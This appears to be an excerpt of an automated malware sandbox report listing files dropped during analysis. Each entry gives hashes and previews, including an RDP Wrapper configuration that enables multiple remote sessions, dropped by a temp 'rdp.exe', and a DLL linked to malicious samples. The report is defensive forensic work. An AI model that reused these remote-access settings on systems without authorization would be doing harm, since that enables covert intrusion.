                                                                                                                                          SHA-512:8160B4B9096D47A79B435F32621726D6B267485593C3E4BBC03E4B7B91D39DCA68F2EAB9429775DA9C13CA03FFC699646DDCFF9316F8AE29F4E98B806553FECA
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\ybpc4wl1\ybpc4wl1.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\ybpc4wl1\ybpc4wl1.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

                                                                                                                                          C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:data
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):6222
                                                                                                                                          Entropy (8bit):3.7407485370845985
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:96:LZ5gb3+ZC/G9qkvhkvCCtPOQkPpH4OQkPpHl:fgrEMmQIPQI3
                                                                                                                                          MD5:35315975DF78208603EB2A8B9524C1D4
                                                                                                                                          SHA1:7BF56CBC999A1F7175D6747B26EBAD9A8C3AC9E6
                                                                                                                                          SHA-256:6D523C5D0F3B8694A71B4BC9DC141ECF656B9C83AAF13057B5AFE75184BF0E1A
                                                                                                                                          SHA-512:7EAFF7B72C18CBECA6D99416E2295EE758B593DDCD4FFC09ADE44147BFE6A52C394333B70324EDF9BDD5F8924F4332B5F35FB0D37CDD42D09431E9C531245B69
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:...................................FL..................F.".. ...;.}.S.....4..1..z.:{.............................:..DG..Yr?.D..U..k0.&...&........{.S....f...1..J.6..1......t...CFSF..1....."S...AppData...t.Y^...H.g.3..(.....gVA.G..k...@......"S.hYWS....B......................A!.A.p.p.D.a.t.a...B.V.1.....hY[S..Roaming.@......"S.hY[S....D........................R.o.a.m.i.n.g.....\.1.....6S.T..MICROS~1..D......"S.hYXS....E.......................(.M.i.c.r.o.s.o.f.t.....V.1.....hYU...Windows.@......"S.hYU.....F.....................?g..W.i.n.d.o.w.s.......1....."SN...STARTM~1..n.......S)`hYA.....H...............D.........S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....6S.S..Programs..j.......S)`hYA.....I...............@.....f...P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1....."S....WINDOW~1..V......"S.hY@.....J.......................O.W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......"S.hYfS....i...........

                                                                                                                                          C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF3b4547.TMP (copy)

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:data
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):6222
                                                                                                                                          Entropy (8bit):3.7407485370845985
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:96:LZ5gb3+ZC/G9qkvhkvCCtPOQkPpH4OQkPpHl:fgrEMmQIPQI3
                                                                                                                                          MD5:35315975DF78208603EB2A8B9524C1D4
                                                                                                                                          SHA1:7BF56CBC999A1F7175D6747B26EBAD9A8C3AC9E6
                                                                                                                                          SHA-256:6D523C5D0F3B8694A71B4BC9DC141ECF656B9C83AAF13057B5AFE75184BF0E1A
                                                                                                                                          SHA-512:7EAFF7B72C18CBECA6D99416E2295EE758B593DDCD4FFC09ADE44147BFE6A52C394333B70324EDF9BDD5F8924F4332B5F35FB0D37CDD42D09431E9C531245B69
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:...................................FL..................F.".. ...;.}.S.....4..1..z.:{.............................:..DG..Yr?.D..U..k0.&...&........{.S....f...1..J.6..1......t...CFSF..1....."S...AppData...t.Y^...H.g.3..(.....gVA.G..k...@......"S.hYWS....B......................A!.A.p.p.D.a.t.a...B.V.1.....hY[S..Roaming.@......"S.hY[S....D........................R.o.a.m.i.n.g.....\.1.....6S.T..MICROS~1..D......"S.hYXS....E.......................(.M.i.c.r.o.s.o.f.t.....V.1.....hYU...Windows.@......"S.hYU.....F.....................?g..W.i.n.d.o.w.s.......1....."SN...STARTM~1..n.......S)`hYA.....H...............D.........S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....6S.S..Programs..j.......S)`hYA.....I...............@.....f...P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1....."S....WINDOW~1..V......"S.hY@.....J.......................O.W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......"S.hYfS....i...........

                                                                                                                                          C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7D3CRAO9UPPTLIS65L5J.temp

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:data
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):6222
                                                                                                                                          Entropy (8bit):3.7407485370845985
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:96:LZ5gb3+ZC/G9qkvhkvCCtPOQkPpH4OQkPpHl:fgrEMmQIPQI3
                                                                                                                                          MD5:35315975DF78208603EB2A8B9524C1D4
                                                                                                                                          SHA1:7BF56CBC999A1F7175D6747B26EBAD9A8C3AC9E6
                                                                                                                                          SHA-256:6D523C5D0F3B8694A71B4BC9DC141ECF656B9C83AAF13057B5AFE75184BF0E1A
                                                                                                                                          SHA-512:7EAFF7B72C18CBECA6D99416E2295EE758B593DDCD4FFC09ADE44147BFE6A52C394333B70324EDF9BDD5F8924F4332B5F35FB0D37CDD42D09431E9C531245B69
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:...................................FL..................F.".. ...;.}.S.....4..1..z.:{.............................:..DG..Yr?.D..U..k0.&...&........{.S....f...1..J.6..1......t...CFSF..1....."S...AppData...t.Y^...H.g.3..(.....gVA.G..k...@......"S.hYWS....B......................A!.A.p.p.D.a.t.a...B.V.1.....hY[S..Roaming.@......"S.hY[S....D........................R.o.a.m.i.n.g.....\.1.....6S.T..MICROS~1..D......"S.hYXS....E.......................(.M.i.c.r.o.s.o.f.t.....V.1.....hYU...Windows.@......"S.hYU.....F.....................?g..W.i.n.d.o.w.s.......1....."SN...STARTM~1..n.......S)`hYA.....H...............D.........S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....6S.S..Programs..j.......S)`hYA.....I...............@.....f...P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1....."S....WINDOW~1..V......"S.hY@.....J.......................O.W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......"S.hYfS....i...........

                                                                                                                                          C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EAL8DH8ARGI5LR9QGFS0.temp

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:data
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):6222
                                                                                                                                          Entropy (8bit):3.7387328567507088
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:96:+oA35oCsGbqkvhkvCCtPOQkPpH4OQkPpHl:RIR6mQIPQI3
                                                                                                                                          MD5:3F3B3C566EA22BAF1B30F01C5DBC9066
                                                                                                                                          SHA1:30D639B5297C3083FB8EAE00B6ED8C7B05F33D0A
                                                                                                                                          SHA-256:04F9E913779DEAF094EB1EF9981ADC7ADDD84F1A8E8AC43EE1932FC2F1CC7946
                                                                                                                                          SHA-512:9CF6AD5806BB58D8EF7EB57CB125A0B23562D8B4EE930855904180D151D334F5ABB8B714EE56C8FA587D45C8C778A33BBC334A24B0B8B36AFFC21AC729785F79
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:...................................FL..................F.".. ...;.}.S........1..z.:{.............................:..DG..Yr?.D..U..k0.&...&........{.S....f...1.......1......t...CFSF..1....."S...AppData...t.Y^...H.g.3..(.....gVA.G..k...@......"S.hYbS....B......................A!.A.p.p.D.a.t.a...B.V.1.....hY[S..Roaming.@......"S.hY[S....D........................R.o.a.m.i.n.g.....\.1.....6S.T..MICROS~1..D......"S.hYXS....E.......................(.M.i.c.r.o.s.o.f.t.....V.1.....hYU...Windows.@......"S.hYfS....F.....................?g..W.i.n.d.o.w.s.......1....."SN...STARTM~1..n.......S)`hYfS....H...............D.........S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....6S.S..Programs..j.......S)`hYfS....I...............@.....f...P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1....."S....WINDOW~1..V......"S.hYfS....J.......................O.W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......"S.hYfS....i...........

                                                                                                                                          C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\svchost.exe
                                                                                                                                          File Type:JSON data
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):55
                                                                                                                                          Entropy (8bit):4.306461250274409
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
                                                                                                                                          MD5:DCA83F08D448911A14C22EBCACC5AD57
                                                                                                                                          SHA1:91270525521B7FE0D986DB19747F47D34B6318AD
                                                                                                                                          SHA-256:2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
                                                                                                                                          SHA-512:96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

                                                                                                                                          C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                                                                          File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                          Category:modified
                                                                                                                                          Size (bytes):36838
                                                                                                                                          Entropy (8bit):3.2402330692946646
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:384:L+7H+hH+hR+hM+hJ+hS+hh+hB+h3+hV+h4+hU+hV+hS+ha:+
                                                                                                                                          MD5:ABA6CF6E5A1709265A24C1AB13C0C704
                                                                                                                                          SHA1:DAE4AEF3E33C5D667E64B5CB23E9172C338B574C
                                                                                                                                          SHA-256:6F52CD2EA0184366AE38235CDB8592AEA53081BBFECE51E661E2610E347C322A
                                                                                                                                          SHA-512:61E60E3EB4BBE35D4FE7C6118A5977585F05D2DFB0CDEB7C9E4DF8487582D57BBE7FB86CB846B47CBCD44A70C639E18155B86F47EB2661DD1ACACE93AAE201E2
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. S.a.t. .. A.u.g. .. 0.5. .. 2.0.2.3. .2.2.:.0.4.:.5.2.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e.....*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*. .W.S.C. .S.t.a.t.e. .I.n.f.o. .*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.....*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*. .A.n.t.i.V.i.r.u.s.P.r.o.d.u.c.t. .*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.....d.i.s.p.l.a.y.N.a.m.e. .=. .[.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.].....p.a.t.h.T.o.S.i.g.n.e.d.P.r.o.d.u.c.t.E.x.e. .=. .[.w.i.n.d.o.w.s.d.

                                                                                                                                          C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\rdpwrap[1].ini

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\Temp\rdp.exe
                                                                                                                                          File Type:Generic INItialization configuration [SLPolicy]
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):451403
                                                                                                                                          Entropy (8bit):5.4500636051576725
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:1536:DyGYQ33L+MUIiG4IvREWddadl/Fy/ksMF:DVH33L+MBdadl/Fy/kz
                                                                                                                                          MD5:A10BF6E08E330C3EADBA87AA5E868517
                                                                                                                                          SHA1:FD99482EE6A5B94D2BE9B645CF9E3330E0161351
                                                                                                                                          SHA-256:832230E2942613C81A8A2FC60E867215ABFF546238CAB6FA82F473B6DD07F37C
                                                                                                                                          SHA-512:38245488973A4C9EF79BB63AD8A84A70C05B62042A35A8F2A25F73A312969F7E0D40C2BB92663C3B3B299944C14B19984802612FD041E06406C72A83CDD70163
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:; RDP Wrapper Library configuration..; Do not modify without special knowledge..; Edited by sebaxakerhtc....[Main]..Updated=2024-11-02..LogFile=\rdpwrap.txt..SLPolicyHookNT60=1..SLPolicyHookNT61=1....[SLPolicy]..TerminalServices-RemoteConnectionManager-AllowRemoteConnections=1..TerminalServices-RemoteConnectionManager-AllowMultipleSessions=1..TerminalServices-RemoteConnectionManager-AllowAppServerMode=1..TerminalServices-RemoteConnectionManager-AllowMultimon=1..TerminalServices-RemoteConnectionManager-MaxUserSessions=0..TerminalServices-RemoteConnectionManager-ce0ad219-4670-4988-98fb-89b14c2f072b-MaxSessions=0..TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-MaxSessions=2..TerminalServices-RDP-7-Advanced-Compression-Allowed=1..TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-LocalOnly=0..TerminalServices-RemoteConnectionManager-8dc86f1d-9969-4379-91c1-06fe1dc60575-MaxSessions=1000..TerminalServices-DeviceRedirection-Licenses-TS

                                                                                                                                          C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:data
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):64
                                                                                                                                          Entropy (8bit):0.34726597513537405
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:Nlll:Nll
                                                                                                                                          MD5:446DD1CF97EABA21CF14D03AEBC79F27
                                                                                                                                          SHA1:36E4CC7367E0C7B40F4A8ACE272941EA46373799
                                                                                                                                          SHA-256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
                                                                                                                                          SHA-512:A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:@...e...........................................................

                                                                                                                                          C:\Windows\System32\rfxvmt.dll

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\Temp\rdp.exe
                                                                                                                                          File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):37376
                                                                                                                                          Entropy (8bit):5.7181012847214445
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:768:2aS6Ir6sXJaE5I2IaK3knhQ0NknriB0dX5mkOpw:aDjDtKA0G0j5Opw
                                                                                                                                          MD5:E3E4492E2C871F65B5CEA8F1A14164E2
                                                                                                                                          SHA1:81D4AD81A92177C2116C5589609A9A08A5CCD0F2
                                                                                                                                          SHA-256:32FF81BE7818FA7140817FA0BC856975AE9FCB324A081D0E0560D7B5B87EFB30
                                                                                                                                          SHA-512:59DE035B230C9A4AD6A4EBF4BEFCD7798CCB38C7EDA9863BC651232DB22C7A4C2D5358D4D35551C2DD52F974A22EB160BAEE11F4751B9CA5BF4FB6334EC926C6
                                                                                                                                          Malicious:false
                                                                                                                                          Antivirus:
                                                                                                                                          • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                          Joe Sandbox View:
                                                                                                                                          • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                          • Filename: 67065b4c84713_Javiles.exe, Detection: malicious, Browse
                                                                                                                                          • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                          • Filename: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, Detection: malicious, Browse
                                                                                                                                          • Filename: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, Detection: malicious, Browse
                                                                                                                                          • Filename: hloRQZmlfg.exe, Detection: malicious, Browse
                                                                                                                                          • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                          • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                          • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                          • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........qc..qc..qc......qc...`..qc...g..qc..qb..qc...b..qc...f..qc...c..qc...j..qc......qc...a..qc.Rich.qc.................PE..d...#............." .....Z...>.......]...............................................a....`A.........................................~..........@...............................\... x..T............................p...............q..P............................text....Y.......Z.................. ..`.rdata.......p.......^..............@..@.data...P............z..............@....pdata...............|..............@..@.rsrc...............................@..@.reloc..\...........................@..B........................................................................................................................................................................................................................................................

                                                                                                                                          C:\Windows\Temp\__PSScriptPolicyTest_b2izkh2v.rsi.ps1

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):60
                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                          C:\Windows\Temp\__PSScriptPolicyTest_cehj3b1b.jgt.ps1

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):60
                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                          C:\Windows\Temp\__PSScriptPolicyTest_eqqlekqy.qxv.psm1

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):60
                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                          C:\Windows\Temp\__PSScriptPolicyTest_ikotomsd.wje.ps1

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):60
                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                          C:\Windows\Temp\__PSScriptPolicyTest_kplrne1h.uoz.psm1

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):60
                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                          C:\Windows\Temp\__PSScriptPolicyTest_oddyl2e2.idy.psm1

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):60
                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                          C:\Windows\Temp\__PSScriptPolicyTest_qtwnc02x.ngi.ps1

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):60
                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                          C:\Windows\Temp\__PSScriptPolicyTest_sl2ty0xn.p21.ps1

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):60
                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                          C:\Windows\Temp\__PSScriptPolicyTest_ud21klnl.pi1.psm1

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):60
                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                          C:\Windows\Temp\__PSScriptPolicyTest_uuce3ar5.e3b.psm1

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
